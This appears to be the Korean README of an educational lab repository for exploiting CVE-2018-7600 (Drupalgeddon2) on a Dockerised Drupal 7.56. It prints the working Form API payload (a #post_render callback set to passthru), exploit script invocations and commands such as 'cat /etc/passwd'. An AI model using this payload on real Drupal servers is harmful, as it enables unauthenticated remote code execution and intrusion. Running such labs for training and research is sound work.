CVE-2018-7600(Drupalgeddon2) 원격 코드 실행을 Docker 기반의 취약한 Drupal 7.56 환경을 사용하여 시연하는 교육용 실습 환경입니다.
Docker로 배포된 취약한 Drupal 7.56 환경을 활용하여 CVE-2018-7600(Drupalgeddon2) 익스플로잇을 시연하는 교육용 실습 랩입니다.
이 프로젝트는 실제 환경과 유사한 취약점 평가 워크플로를 시뮬레이션하며, 다음을 포함합니다:
CVE-2018-7600(Drupalgeddon2)은 Drupal CMS의 치명적인 원격 코드 실행(RCE) 취약점입니다.
이 문제는 Drupal의 Form API에 존재하며, 사용자 제어 입력이 렌더 배열로 해석될 수 있어 공격자가 다음과 같은 악성 콜백을 주입할 수 있습니다:
이로 인해 서버에서 인증 없이 명령 실행이 가능합니다.
Attacker (Kali Linux)
|
| HTTP Requests
v
Drupal 7.56 (Vulnerable)
|
v
MySQL Database
cve-2018-7600-drupalgeddon2-lab
│
├── README.md
├── setup.md
├── scan.py
├── exploit.py
│
├── lab-setup/
│ └── docker-compose.yml
│
├── screenshots/
│ ├── drupal-dashboard.png
│ ├── drupal-version.png
│ └── rce-output.png
│
├── logs/
│ ├── scan_results.txt
│ └── exploit_log.txt
│
├── payloads/
│ └── payload-list.txt
│
├── report/
│ └── drupalgeddon2-report.pdf


git clone https://github.com/Meraj1312/cve-2018-7600-drupalgeddon2-lab.git
cd cve-2018-7600-drupalgeddon2-lab
docker compose up -d
http://localhost:8080
python3 scan.py http://localhost:8080
예시 출력:
[~] Scanning http://localhost:8080... VULNERABLE
python3 exploit.py http://localhost:8080 id
예시 출력:
uid=33(www-data) gid=33(www-data)
사용된 기본 페이로드 구조:
name[#post_render][]=passthru
name[#type]=markup
name[#markup]=whoami
예시 명령:
whoami
id
cat /etc/passwd
전체 페이로드 목록은 다음 위치에서 확인할 수 있습니다:
payloads/payload-list.txt
깔끔하고 전문적인 리포지토리 구조를 유지하기 위해:
이러한 구분을 통해 다음이 보장됩니다:
이 실습 랩은 다음을 대상으로 합니다:
이 프로젝트는 교육 및 연구 목적으로만 제공됩니다.
명시적 승인 없이 시스템을 악용하려 시도하지 마십시오.
저자는 오용에 대해 책임을 지지 않습니다.